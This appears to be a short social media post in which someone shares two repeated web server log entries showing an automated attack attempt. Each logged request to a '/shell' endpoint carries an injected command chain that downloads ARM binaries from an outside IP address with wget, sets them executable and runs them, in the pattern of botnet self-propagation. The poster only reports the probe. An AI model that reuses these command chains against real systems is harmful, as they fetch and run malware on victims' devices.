oh hey @nprofile1q... in my server logs!
184.22.89.220 - - [27/Jul/2025:16:48:14 -0500] "GET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\\/89.221.203.116:6969/bins/arm7;chmod+777+arm7;./arm7+selfrep.jaws;wget+http:/\\/89.221.203.116:6969/bins/arm;chmod+777+arm;./arm+selfrep.jaws; HTTP/1.1" 400 488 "-" "KrebsOnSecurity"
184.22.89.220 - - [27/Jul/2025:16:48:14 -0500] "GET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\\/89.221.203.116:6969/bins/arm7;chmod+777+arm7;./arm7+selfrep.jaws;wget+http:/\\/89.221.203.116:6969/bins/arm;chmod+777+arm;./arm+selfrep.jaws; HTTP/1.1" 400 488 "-" "KrebsOnSecurity"